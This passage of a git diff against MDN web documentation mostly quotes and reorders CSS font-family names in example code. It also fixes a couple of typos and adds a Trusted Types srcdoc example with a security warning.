+const trustedHTML = policy.createHTML(untrustedString);
+
+// Inject the TrustedHTML (which contains a trusted string)
+const frame = document.querySelector("#frame");
+const frameDoc = frame.srcdoc;
+```
+
+> [!WARNING]
+> While you can directly assign a string to `srcdoc`, this is a [security risk](#security_considerations) if the string to be inserted might contain potentially malicious content.
+> You should use `TrustedHTML` to ensure that the content is sanitized before it is inserted, and you should set a CSP header to [enforce trusted types](/en-US/docs/Web/API/Trusted_Types_API#using_a_csp_to_enforce_trusted_types).
+
 ## Specifications
 
 {{Specifications}}
diff --git a/files/en-us/web/api/htmlimageelement/alt/index.md b/files/en-us/web/api/htmlimageelement/alt/index.md
index d96f9fb9d965a48..3daeeca7c7b4bab 100644
--- a/files/en-us/web/api/htmlimageelement/alt/index.md
+++ b/files/en-us/web/api/htmlimageelement/alt/index.md
@@ -85,8 +85,8 @@ p {
   width: 100vh;
   height: 95vh;
   font:
-    16px Arial,
-    Helvetica,
+    16px "Helvetica",
+    "Arial",
     sans-serif;
 }
 
@@ -228,9 +228,8 @@ The main feature of the CSS here is the use of {{cssxref("clip-path")}} and {{cs
 .contents {
   margin-top: 1em;
   font:
-    16px Arial,
-    Helvetica,
-    Verdana,
+    16px "Helvetica",
+    "Arial",
     sans-serif;
 }
 ```
diff --git a/files/en-us/web/api/htmlimageelement/crossorigin/index.md b/files/en-us/web/api/htmlimageelement/crossorigin/index.md
index 49759f0adf61a0a..4e59fe7b4ff8a01 100644
--- a/files/en-us/web/api/htmlimageelement/crossorigin/index.md
+++ b/files/en-us/web/api/htmlimageelement/crossorigin/index.md
@@ -85,7 +85,8 @@ loadImage("clock-demo-400px.png");
 ```css
 body {
   font:
-    1.125rem/1.5 Helvetica,
+    1.125rem/1.5 "Helvetica",
+    "Arial",
     sans-serif;
 }
 
@@ -102,7 +103,7 @@ img {
 
 output {
   background: rgb(100 100 100 / 100%);
-  font-family: Courier, monospace;
+  font-family: "Courier New", monospace;
   width: 95%;
 }
 ```
diff --git a/files/en-us/web/api/htmlimageelement/sizes/index.md b/files/en-us/web/api/htmlimageelement/sizes/index.md
index d3f91da8a803382..14122dce3725c1b 100644
--- a/files/en-us/web/api/htmlimageelement/sizes/index.md
+++ b/files/en-us/web/api/htmlimageelement/sizes/index.md
@@ -88,9 +88,9 @@ article {
   padding: 1.5em;
   font:
     16px "Open Sans",
-    Verdana,
-    Arial,
-    Helvetica,
+    "Verdana",
+    "Helvetica",
+    "Arial",
     sans-serif;
 }
 
diff --git a/files/en-us/web/api/intersection_observer_api/timing_element_visibility/index.md b/files/en-us/web/api/intersection_observer_api/timing_element_visibility/index.md
index cc0f2fca84f876f..c61303f7ab83229 100644
--- a/files/en-us/web/api/intersection_observer_api/timing_element_visibility/index.md
+++ b/files/en-us/web/api/intersection_observer_api/timing_element_visibility/index.md
@@ -55,7 +55,7 @@ We provide styles for the {{HTMLElement("body")}} and {{HTMLElement("main")}} el
 
 ```css
 body {
-  font-family: "Open Sans", "Arial", "Helvetica", sans-serif;
+  font-family: "Open Sans", "Helvetica", "Arial", sans-serif;
   background-color: aliceblue;
 }
 
diff --git a/files/en-us/web/api/keyboardevent/code/index.md b/files/en-us/web/api/keyboardevent/code/index.md
index 43492182a35a469..59b5130080d88f4 100644
--- a/files/en-us/web/api/keyboardevent/code/index.md
+++ b/files/en-us/web/api/keyboardevent/code/index.md
@@ -40,7 +40,7 @@ The code values for Windows, Linux, and macOS are listed on the [KeyboardEvent:
 
 ```css
 #output {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   border: 1px solid black;
   width: 95%;
   margin: auto;
diff --git a/files/en-us/web/api/location/index.md b/files/en-us/web/api/location/index.md
index 0dbc518578a0d4a..7238958e743f3f0 100644
--- a/files/en-us/web/api/location/index.md
+++ b/files/en-us/web/api/location/index.md
@@ -41,7 +41,7 @@ body {
   display: table-cell;
   text-align: center;
   vertical-align: middle;
-  font-family: Georgia;
+  font-family: "Georgia";
   font-size: 200%;
   line-height: 1em;
   white-space: nowrap;
diff --git a/files/en-us/web/api/mediadevices/getsupportedconstraints/index.md b/files/en-us/web/api/mediadevices/getsupportedconstraints/index.md
index 132380606c45af6..356a96a0e20ac7f 100644
--- a/files/en-us/web/api/mediadevices/getsupportedconstraints/index.md
+++ b/files/en-us/web/api/mediadevices/getsupportedconstraints/index.md
@@ -38,7 +38,7 @@ This example outputs a list of the constraints supported by your browser.
 ```css hidden
 body {
   font:
-    15px Arial,
+    15px "Arial",
     sans-serif;
 }
 ```
diff --git a/files/en-us/web/api/mediaquerylist/media/index.md b/files/en-us/web/api/mediaquerylist/media/index.md
index 0ce53a79260e3c3..d3118bace55b59f 100644
--- a/files/en-us/web/api/mediaquerylist/media/index.md
+++ b/files/en-us/web/api/mediaquerylist/media/index.md
@@ -45,7 +45,7 @@ A `<span>` to receive the output.
 ```css hidden
 .mq-value {
   font:
-    18px arial,
+    18px "Arial",
     sans-serif;
   font-weight: bold;
   color: #8888ff;
diff --git a/files/en-us/web/api/mediatrackconstraints/echocancellation/index.md b/files/en-us/web/api/mediatrackconstraints/echocancellation/index.md
index 6c539eac35cc5c2..02251d340e54160 100644
--- a/files/en-us/web/api/mediatrackconstraints/echocancellation/index.md
+++ b/files/en-us/web/api/mediatrackconstraints/echocancellation/index.md
@@ -27,7 +27,7 @@ If the browser supports specific echo cancellation types, the value can be set a
 - `"all"`
   - : All user system-generated audio captured by the user's microphone is removed. This is useful for example in situations where you want to avoid capturing privacy-sensitive audio such as screen reader output and system notifications.
 - `"remote-only"`
-  - : Only user system-generated audio captured by the user's microphone from remote sources (as represented by {{domxref("MediaStreamtrack")}}s sourced from an {{domxref("RTCPeerConnection")}}) is removed. This is useful when you want to remove echo from communication with remote peers but still share local audio, such as in the case of a music lesson where the teacher wants to hear their student(s) playing along to an audio track but still communicate clearly with them.
+  - : Only user system-generated audio captured by the user's microphone from remote sources (as represented by {{domxref("MediaStreamTrack")}}s sourced from an {{domxref("RTCPeerConnection")}}) is removed. This is useful when you want to remove echo from communication with remote peers but still share local audio, such as in the case of a music lesson where the teacher wants to hear their student(s) playing along to an audio track but still communicate clearly with them.
 - `true`
   - : The browser decides what audio will be removed from the signals recorded by the microphone. It must attempt to cancel at least as much as `remote-only` and should attempt to cancel as much as `all`.
 - `false`
diff --git a/files/en-us/web/api/popover_api/using/index.md b/files/en-us/web/api/popover_api/using/index.md
index 75efd45c896b64e..11e81e7d47a4855 100644
--- a/files/en-us/web/api/popover_api/using/index.md
+++ b/files/en-us/web/api/popover_api/using/index.md
@@ -498,7 +498,7 @@ The two popover properties we want to transition are [`opacity`](/en-US/docs/Web
 
 ```css
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 /* Transition for the popover itself */
@@ -605,7 +605,7 @@ We have defined keyframes that specify the desired entry and exit animations, an
 
 ```css
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 [popover] {
diff --git a/files/en-us/web/api/scrolltimeline/index.md b/files/en-us/web/api/scrolltimeline/index.md
index df3305886d250a5..13fd4e76864d2fe 100644
--- a/files/en-us/web/api/scrolltimeline/index.md
+++ b/files/en-us/web/api/scrolltimeline/index.md
@@ -67,7 +67,7 @@ The CSS for the example looks like this:
 }
 
 .output {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   position: fixed;
   top: 5px;
   right: 5px;
diff --git a/files/en-us/web/api/summarizer_api/using/index.md b/files/en-us/web/api/summarizer_api/using/index.md
index d608521ebe87b5c..720a50361c85833 100644
--- a/files/en-us/web/api/summarizer_api/using/index.md
+++ b/files/en-us/web/api/summarizer_api/using/index.md
@@ -204,7 +204,7 @@ The second half of our markup includes a {{htmlelement("p")}} element to display
 }
 
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 body {
diff --git a/files/en-us/web/api/translator_and_language_detector_apis/using/index.md b/files/en-us/web/api/translator_and_language_detector_apis/using/index.md
index 617f4a0702cce34..8287b371c98ce91 100644
--- a/files/en-us/web/api/translator_and_language_detector_apis/using/index.md
+++ b/files/en-us/web/api/translator_and_language_detector_apis/using/index.md
@@ -244,7 +244,7 @@ The second half of our markup includes a {{htmlelement("p")}} element to display
 }
 
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 body {
diff --git a/files/en-us/web/api/viewtimeline/index.md b/files/en-us/web/api/viewtimeline/index.md
index e292280733a28a7..d727d5a45abec2c 100644
--- a/files/en-us/web/api/viewtimeline/index.md
+++ b/files/en-us/web/api/viewtimeline/index.md
@@ -107,7 +107,7 @@ The CSS for the example looks like this:
 p,
 h1,
 div {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/api/web_components/using_templates_and_slots/index.md b/files/en-us/web/api/web_components/using_templates_and_slots/index.md
index e8dc42cfc4e005b..9262426f6483ed6 100644
--- a/files/en-us/web/api/web_components/using_templates_and_slots/index.md
+++ b/files/en-us/web/api/web_components/using_templates_and_slots/index.md
@@ -180,7 +180,7 @@ First of all, we use the {{HTMLElement("slot")}} element within a {{HTMLElement(
 <template id="element-details-template">
   <style>
     details {
-      font-family: "Open Sans Light", Helvetica, Arial;
+      font-family: "Open Sans Light", "Helvetica", "Arial";
     }
     .name {
       font-weight: bold;
@@ -304,7 +304,7 @@ dl {
 }
 dt {
   color: #217ac0;
-  font-family: Consolas, "Liberation Mono", Courier;
+  font-family: "Consolas", "Liberation Mono", "Courier New";
   font-size: 110%;
   font-weight: bold;
 }
diff --git a/files/en-us/web/api/window/devicepixelratio/index.md b/files/en-us/web/api/window/devicepixelratio/index.md
index c3d4de984c0997b..326b6f728d2865b 100644
--- a/files/en-us/web/api/window/devicepixelratio/index.md
+++ b/files/en-us/web/api/window/devicepixelratio/index.md
@@ -99,7 +99,7 @@ In this example, we'll set up a media query and watch it to see when the device
 ```css
 body {
   font:
-    22px arial,
+    22px "Arial",
     sans-serif;
 }
 
diff --git a/files/en-us/web/api/window/matchmedia/index.md b/files/en-us/web/api/window/matchmedia/index.md
index 18c7c3c3c61c84f..72304781171aece 100644
--- a/files/en-us/web/api/window/matchmedia/index.md
+++ b/files/en-us/web/api/window/matchmedia/index.md
@@ -76,7 +76,7 @@ A simple `<span>` to receive the output.
 ```css hidden
 .mq-value {
   font:
-    18px arial,
+    18px "Arial",
     sans-serif;
   font-weight: bold;
   color: #8888ff;
diff --git a/files/en-us/web/css/@font-face/ascent-override/index.md b/files/en-us/web/css/@font-face/ascent-override/index.md
index e0b6f125fe29714..56c5957e4cb3eb8 100644
--- a/files/en-us/web/css/@font-face/ascent-override/index.md
+++ b/files/en-us/web/css/@font-face/ascent-override/index.md
@@ -38,12 +38,12 @@ The `ascent-override` property can help when overriding the metrics of a fallbac
 
 ```css
 @font-face {
-  font-family: web-font;
+  font-family: "web-font";
   src: url("https://example.com/font.woff");
 }
 
 @font-face {
-  font-family: local-font;
+  font-family: "local-font";
   src: local("Local Font");
   ascent-override: 125%;
 }
diff --git a/files/en-us/web/css/@font-face/descent-override/index.md b/files/en-us/web/css/@font-face/descent-override/index.md
index 50da0d3bb39aa61..75bb737b428eb65 100644
--- a/files/en-us/web/css/@font-face/descent-override/index.md
+++ b/files/en-us/web/css/@font-face/descent-override/index.md
@@ -38,12 +38,12 @@ The `descent-override` property can help when overriding the metrics of a fallba
 
 ```css
 @font-face {
-  font-family: web-font;
+  font-family: "web-font";
   src: url("https://example.com/font.woff");
 }
 
 @font-face {
-  font-family: local-font;
+  font-family: "local-font";
   src: local("Local Font");
   descent-override: 125%;
 }
diff --git a/files/en-us/web/css/@font-face/font-display/index.md b/files/en-us/web/css/@font-face/font-display/index.md
index d0c2cdb82c8a91c..756b48a4e8a04dd 100644
--- a/files/en-us/web/css/@font-face/font-display/index.md
+++ b/files/en-us/web/css/@font-face/font-display/index.md
@@ -59,7 +59,7 @@ The font display timeline is based on a timer that begins the moment the user ag
 
 ```css
 @font-face {
-  font-family: ExampleFont;
+  font-family: "ExampleFont";
   src:
     url("/path/to/fonts/example-font.woff") format("woff"),
     url("/path/to/fonts/example-font.eot") format("embedded-opentype");
diff --git a/files/en-us/web/css/@font-face/font-feature-settings/index.md b/files/en-us/web/css/@font-face/font-feature-settings/index.md
index 735f055d0e6f775..74c38a99c67b0e6 100644
--- a/files/en-us/web/css/@font-face/font-feature-settings/index.md
+++ b/files/en-us/web/css/@font-face/font-feature-settings/index.md
@@ -60,11 +60,11 @@ In this example, the tag name `swsh` and a boolean value `1` are used as the val
 
 ```css
 @font-face {
-  font-family: MonteCarlo;
+  font-family: "MonteCarlo";
   src: url("/shared-assets/fonts/monte-carlo/monte-carlo-regular.woff2");
 }
 @font-face {
-  font-family: MonteCarlo2;
+  font-family: "MonteCarlo2";
   src: url("/shared-assets/fonts/monte-carlo/monte-carlo-regular.woff2");
   font-feature-settings: "swsh" 1;
 }
@@ -73,10 +73,10 @@ p {
   margin: 0.7rem 3rem;
 }
 .swash-off {
-  font-family: MonteCarlo, cursive;
+  font-family: "MonteCarlo", cursive;
 }
 .swash-on {
-  font-family: MonteCarlo2, cursive;
+  font-family: "MonteCarlo2", cursive;
 }
 ```
 
diff --git a/files/en-us/web/css/@font-face/font-style/index.md b/files/en-us/web/css/@font-face/font-style/index.md
index 7c6d88b24802d3c..5f06c3b4f5e410b 100644
--- a/files/en-us/web/css/@font-face/font-style/index.md
+++ b/files/en-us/web/css/@font-face/font-style/index.md
@@ -49,7 +49,7 @@ As an example, consider the garamond font family, in its normal form, we get the
 
 ```css
 @font-face {
-  font-family: garamond;
+  font-family: "garamond";
   src: url("garamond.ttf");
 }
 ```
@@ -64,7 +64,7 @@ On the other hand, if a true italicized version of the font family exists, we ca
 
 ```css
 @font-face {
-  font-family: garamond;
+  font-family: "garamond";
   src: url("garamond-italic.ttf");
   font-style: italic;
 }
diff --git a/files/en-us/web/css/@font-face/font-weight/index.md b/files/en-us/web/css/@font-face/font-weight/index.md
index 42bdcfe6d7d81c5..485982a5fc31f0e 100644
--- a/files/en-us/web/css/@font-face/font-weight/index.md
+++ b/files/en-us/web/css/@font-face/font-weight/index.md
@@ -253,13 +253,13 @@ We set the `font-weight` descriptor range to `300 700`, clamping the variable fo
 
 ```css
 @font-face {
-  font-family: LeagueMono;
+  font-family: "LeagueMono";
   src: url("https://mdn.github.io/shared-assets/fonts/LeagueMono-VF.ttf");
   font-weight: 300 700;
 }
 
 p {
-  font-family: LeagueMono, serif;
+  font-family: "LeagueMono", serif;
   font-size: 1.5rem;
 }
 
diff --git a/files/en-us/web/css/@font-face/line-gap-override/index.md b/files/en-us/web/css/@font-face/line-gap-override/index.md
index 85543f5392e8df0..e58a58264a3ba28 100644
--- a/files/en-us/web/css/@font-face/line-gap-override/index.md
+++ b/files/en-us/web/css/@font-face/line-gap-override/index.md
@@ -38,12 +38,12 @@ The `line-gap-override` property can help when overriding the metrics of a fallb
 
 ```css
 @font-face {
-  font-family: web-font;
+  font-family: "web-font";
   src: url("https://example.com/font.woff");
 }
 
 @font-face {
-  font-family: local-font;
+  font-family: "local-font";
   src: local("Local Font");
   line-gap-override: 125%;
 }
diff --git a/files/en-us/web/css/@font-face/size-adjust/index.md b/files/en-us/web/css/@font-face/size-adjust/index.md
index 6207de39694a257..ca807384cfbec5d 100644
--- a/files/en-us/web/css/@font-face/size-adjust/index.md
+++ b/files/en-us/web/css/@font-face/size-adjust/index.md
@@ -39,12 +39,12 @@ The `size-adjust` property can help when overriding the metrics of a fallback fo
 
 ```css
 @font-face {
-  font-family: web-font;
+  font-family: "web-font";
   src: url("https://example.com/font.woff");
 }
 
 @font-face {
-  font-family: local-font;
+  font-family: "local-font";
   src: local("Local Font");
   size-adjust: 90%;
 }
diff --git a/files/en-us/web/css/@font-face/src/index.md b/files/en-us/web/css/@font-face/src/index.md
index 198e9f5a4bf2929..9c603f416ac5571 100644
--- a/files/en-us/web/css/@font-face/src/index.md
+++ b/files/en-us/web/css/@font-face/src/index.md
@@ -169,7 +169,7 @@ The example below shows how to define two font faces with the same font family.
 ```css
 /* Defining a regular font face */
 @font-face {
-  font-family: MainText;
+  font-family: "MainText";
   src:
     local("Futura-Medium"),
     url("FuturaMedium.woff") format("woff"),
@@ -178,7 +178,7 @@ The example below shows how to define two font faces with the same font family.
 
 /* Defining a different bold font face for the same family */
 @font-face {
-  font-family: MainText;
+  font-family: "MainText";
   src:
     local("Gill Sans Bold") /* full font name */,
     local("GillSans-Bold") /* postscript name */,
@@ -190,7 +190,7 @@ The example below shows how to define two font faces with the same font family.
 
 /* Using the regular font face */
 p {
-  font-family: MainText, sans-serif;
+  font-family: "MainText", sans-serif;
 }
 
 /* Font-family is inherited, but bold fonts are used */
diff --git a/files/en-us/web/css/@font-face/unicode-range/index.md b/files/en-us/web/css/@font-face/unicode-range/index.md
index 4070c9fd9131fa4..32830c96622a0e0 100644
--- a/files/en-us/web/css/@font-face/unicode-range/index.md
+++ b/files/en-us/web/css/@font-face/unicode-range/index.md
@@ -65,7 +65,7 @@ In the CSS we are in effect defining a completely separate {{cssxref("@font-face
 
 div {
   font-size: 4em;
-  font-family: Ampersand, Helvetica, sans-serif;
+  font-family: "Ampersand", "Helvetica", sans-serif;
 }
 ```
 
diff --git a/files/en-us/web/css/@font-palette-values/font-family/index.md b/files/en-us/web/css/@font-palette-values/font-family/index.md
index b00f64b16ba3e4a..588815b15a9160f 100644
--- a/files/en-us/web/css/@font-palette-values/font-family/index.md
+++ b/files/en-us/web/css/@font-palette-values/font-family/index.md
@@ -71,7 +71,7 @@ h2.extra-spicy {
 
 ### Using the same palette identifier for multiple font-families
 
-In this example, two [@font-palette-values](/en-US/docs/Web/CSS/@font-palette-values) at-rules are set for two font families, but both the at-rules use the same dashed-ident identifier, `--Dark Mode`. This helps to set the [font-palette](/en-US/docs/Web/CSS/font-palette) property for multiple elements, `h1` and `h2` in this case, at the same time. This can be useful when you want to update font colors to match your site's branding.
+In this example, two [@font-palette-values](/en-US/docs/Web/CSS/@font-palette-values) at-rules are set for two font families, but both the at-rules use the same dashed-ident identifier, `--Dark-Mode`. This helps to set the [font-palette](/en-US/docs/Web/CSS/font-palette) property for multiple elements, `h1` and `h2` in this case, at the same time. This can be useful when you want to update font colors to match your site's branding.
 
 ```css
 @font-palette-values --Dark-Mode {
@@ -80,7 +80,7 @@ In this example, two [@font-palette-values](/en-US/docs/Web/CSS/@font-palette-va
 }
 
 @font-palette-values --Dark-Mode {
-  font-family: Bixa;
+  font-family: "Bixa";
   /* palette settings for Bixa */
 }
 
@@ -94,7 +94,7 @@ h1 {
 }
 
 h2 {
-  font-family: Bixa, fantasy;
+  font-family: "Bixa", fantasy;
 }
 ```
 
diff --git a/files/en-us/web/css/@font-palette-values/index.md b/files/en-us/web/css/@font-palette-values/index.md
index 275c53ea811765b..8933d2f17500e12 100644
--- a/files/en-us/web/css/@font-palette-values/index.md
+++ b/files/en-us/web/css/@font-palette-values/index.md
@@ -12,7 +12,7 @@ The **`@font-palette-values`** [CSS](/en-US/docs/Web/CSS) [at-rule](/en-US/docs/
 
 ```css
 @font-palette-values --identifier {
-  font-family: Bixa;
+  font-family: "Bixa";
 }
 .my-class {
   font-palette: --identifier;
diff --git a/files/en-us/web/css/@media/prefers-reduced-data/index.md b/files/en-us/web/css/@media/prefers-reduced-data/index.md
index 2d46052f1f2ec4d..d77c7f416f4031e 100644
--- a/files/en-us/web/css/@media/prefers-reduced-data/index.md
+++ b/files/en-us/web/css/@media/prefers-reduced-data/index.md
@@ -52,7 +52,7 @@ In this example the `montserrat-regular.woff2` font file will neither be preload
 ```css
 @media (prefers-reduced-data: no-preference) {
   @font-face {
-    font-family: Montserrat;
+    font-family: "Montserrat";
     font-style: normal;
     font-weight: 400;
     font-display: swap;
@@ -70,18 +70,14 @@ In this example the `montserrat-regular.woff2` font file will neither be preload
 
 body {
   font-family:
-    Montserrat,
+    "Montserrat",
     -apple-system,
     BlinkMacSystemFont,
     "Segoe UI",
-    Roboto,
-    Helvetica,
-    Arial,
-    "Microsoft YaHei",
-    sans-serif,
-    "Apple Color Emoji",
-    "Segoe UI Emoji",
-    "Segoe UI Symbol";
+    "Roboto",
+    "Helvetica",
+    "Arial",
+    sans-serif;
 }
 ```
 
diff --git a/files/en-us/web/css/@page/page-orientation/index.md b/files/en-us/web/css/@page/page-orientation/index.md
index c6cd84157ddf416..317fa5f7033110f 100644
--- a/files/en-us/web/css/@page/page-orientation/index.md
+++ b/files/en-us/web/css/@page/page-orientation/index.md
@@ -89,7 +89,7 @@ p {
     display: none;
   }
   section {
-    font-family: Roboto, sans-serif;
+    font-family: "Roboto", sans-serif;
     font-size: 1.5rem;
   }
 }
diff --git a/files/en-us/web/css/@starting-style/index.md b/files/en-us/web/css/@starting-style/index.md
index 47cb6be23e1320b..bbf13088694229b 100644
--- a/files/en-us/web/css/@starting-style/index.md
+++ b/files/en-us/web/css/@starting-style/index.md
@@ -227,7 +227,7 @@ In this example, we want to animate two properties, {{cssxref("opacity")}} and {
 
 ```css
 html {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 [popover]:popover-open {
diff --git a/files/en-us/web/css/_colon_-moz-drag-over/index.md b/files/en-us/web/css/_colon_-moz-drag-over/index.md
index 92c6020a8c294cc..7303fe28180cf49 100644
--- a/files/en-us/web/css/_colon_-moz-drag-over/index.md
+++ b/files/en-us/web/css/_colon_-moz-drag-over/index.md
@@ -52,7 +52,7 @@ target.addEventListener("dragenter", (event) => {
 
 ```css
 body {
-  font-family: Arial;
+  font-family: "Arial";
 }
 div {
   display: inline-block;
diff --git a/files/en-us/web/css/_doublecolon_after/index.md b/files/en-us/web/css/_doublecolon_after/index.md
index ed96faa836e8045..afbca7257ea873d 100644
--- a/files/en-us/web/css/_doublecolon_after/index.md
+++ b/files/en-us/web/css/_doublecolon_after/index.md
@@ -207,7 +207,7 @@ In this demo, we generate extra list items before and after a list navigation me
 ```css
 ul {
   font-size: 1.5rem;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 ul::before,
diff --git a/files/en-us/web/css/_doublecolon_before/index.md b/files/en-us/web/css/_doublecolon_before/index.md
index 03f779790898085..5eb5fe2e658f85c 100644
--- a/files/en-us/web/css/_doublecolon_before/index.md
+++ b/files/en-us/web/css/_doublecolon_before/index.md
@@ -252,7 +252,7 @@ In this demo, we generate extra [list items](/en-US/docs/Web/HTML/Reference/Elem
 ```css
 ul {
   font-size: 1.5rem;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 ul::before,
diff --git a/files/en-us/web/css/_doublecolon_column/index.md b/files/en-us/web/css/_doublecolon_column/index.md
index 6b7f1db918b45e6..a57767294c2c5a4 100644
--- a/files/en-us/web/css/_doublecolon_column/index.md
+++ b/files/en-us/web/css/_doublecolon_column/index.md
@@ -113,7 +113,7 @@ The list is given a fixed {{cssxref("height")}} and a {{cssxref("width")}} of `1
 
 body {
   margin: 0;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 ```
 
diff --git a/files/en-us/web/css/_doublecolon_scroll-marker-group/index.md b/files/en-us/web/css/_doublecolon_scroll-marker-group/index.md
index f8a152f72058f59..0562d3360417981 100644
--- a/files/en-us/web/css/_doublecolon_scroll-marker-group/index.md
+++ b/files/en-us/web/css/_doublecolon_scroll-marker-group/index.md
@@ -73,7 +73,7 @@ We first convert our `<ul>` into a carousel by setting the {{cssxref("display")}
 
 body {
   margin: 0;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 ```
 
diff --git a/files/en-us/web/css/animation-range-end/index.md b/files/en-us/web/css/animation-range-end/index.md
index 9b1ef11520d9346..564a08fd880da5a 100644
--- a/files/en-us/web/css/animation-range-end/index.md
+++ b/files/en-us/web/css/animation-range-end/index.md
@@ -110,7 +110,7 @@ The `subject` element and its containing `content` element are styled minimally,
 
 p,
 h1 {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/animation-range-start/index.md b/files/en-us/web/css/animation-range-start/index.md
index 8e21f79be6bff4b..4dda6bf94df17d2 100644
--- a/files/en-us/web/css/animation-range-start/index.md
+++ b/files/en-us/web/css/animation-range-start/index.md
@@ -110,7 +110,7 @@ The `subject` element and its containing `content` element are styled minimally,
 
 p,
 h1 {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/animation-range/index.md b/files/en-us/web/css/animation-range/index.md
index d72a90cb730b152..7d87b46534f18a8 100644
--- a/files/en-us/web/css/animation-range/index.md
+++ b/files/en-us/web/css/animation-range/index.md
@@ -164,7 +164,7 @@ The `subject` element and its containing `content` element are styled minimally,
 
 p,
 h1 {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/animation-timeline/index.md b/files/en-us/web/css/animation-timeline/index.md
index fa577e5f0096d7e..f61e80472e1192e 100644
--- a/files/en-us/web/css/animation-timeline/index.md
+++ b/files/en-us/web/css/animation-timeline/index.md
@@ -297,7 +297,7 @@ The `subject` element and its containing `content` element are styled minimally,
 
 p,
 h1 {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
@@ -406,7 +406,7 @@ The `subject` element and its containing `content` element are styled minimally,
 
 p,
 h1 {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/border-radius/index.md b/files/en-us/web/css/border-radius/index.md
index 16d4b4f1688f283..7382457551833ad 100644
--- a/files/en-us/web/css/border-radius/index.md
+++ b/files/en-us/web/css/border-radius/index.md
@@ -347,7 +347,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/break-after/index.md b/files/en-us/web/css/break-after/index.md
index 1631bf9f84e9ce5..c218248c5b4793d 100644
--- a/files/en-us/web/css/break-after/index.md
+++ b/files/en-us/web/css/break-after/index.md
@@ -220,7 +220,7 @@ By default, the subheadings and paragraphs were laid out rather messily because
 
 ```css
 html {
-  font-family: helvetica, arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/break-before/index.md b/files/en-us/web/css/break-before/index.md
index 6c0201641b64042..09ac1d23f888b1e 100644
--- a/files/en-us/web/css/break-before/index.md
+++ b/files/en-us/web/css/break-before/index.md
@@ -220,7 +220,7 @@ By default, the subheadings and paragraphs were laid out rather messily because
 
 ```css
 html {
-  font-family: helvetica, arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 h1 {
diff --git a/files/en-us/web/css/break-inside/index.md b/files/en-us/web/css/break-inside/index.md
index 600d1365cc02a42..a6f84b85add8c0a 100644
--- a/files/en-us/web/css/break-inside/index.md
+++ b/files/en-us/web/css/break-inside/index.md
@@ -168,7 +168,7 @@ By default, it is possible for you to get a break between the image and its capt
 
 ```css
 html {
-  font-family: helvetica, arial, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
 }
 
 body {
diff --git a/files/en-us/web/css/calc-size/index.md b/files/en-us/web/css/calc-size/index.md
index 992a762a6fc1354..062441ce85d4580 100644
--- a/files/en-us/web/css/calc-size/index.md
+++ b/files/en-us/web/css/calc-size/index.md
@@ -203,7 +203,7 @@ The HTML contains a single {{htmlelement("section")}} element that contains some
 }
 
 section {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   border: 1px solid black;
 }
 
@@ -275,7 +275,7 @@ The HTML contains a single {{htmlelement("section")}} element with [`tabindex="0
 }
 
 section {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 175px;
   border-radius: 5px;
   background: #eeeeee;
@@ -379,7 +379,7 @@ body {
 
 section {
   margin-top: 20px;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   background: #eeeeee;
   border: 2px solid #cccccc;
   padding: 0 20px;
@@ -505,7 +505,7 @@ body {
 form {
   margin-top: 20px;
   padding: 20px;
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   background: #eeeeee;
   border: 2px solid #cccccc;
 }
diff --git a/files/en-us/web/css/corner-block-end-shape/index.md b/files/en-us/web/css/corner-block-end-shape/index.md
index 9f6866247b41862..1afc03661c78e58 100644
--- a/files/en-us/web/css/corner-block-end-shape/index.md
+++ b/files/en-us/web/css/corner-block-end-shape/index.md
@@ -79,7 +79,7 @@ We give the box some basic styles, which we've hidden for brevity. We also apply
 
 ```css hidden live-sample___basic-usage
 body {
-  font-family: Arial, Helvetica, sans-serif;
+  font-family: "Helvetica", "Arial", sans-serif;
   width: 240px;
   margin: 20px auto;
 }
diff --git a/files/en-us/web/css/corner-block-start-shape/index.md b/files/en-us/web/css/corner-block-start-shape/index.md
